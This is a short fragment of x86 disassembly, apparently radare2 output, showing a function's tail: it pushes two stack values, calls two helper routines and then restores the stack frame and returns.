mov eax, dword [ebp - 0x2408]
push eax
call fcn.004256fb
add esp, 0xc
mov ecx, dword [ebp - 0x240c]
push ecx
call fcn.004256aa
add esp, 4
mov edx, dword [ebp - 0x2408]
push edx
call fcn.004256aa
add esp, 4
mov esp, ebp
pop ebp
ret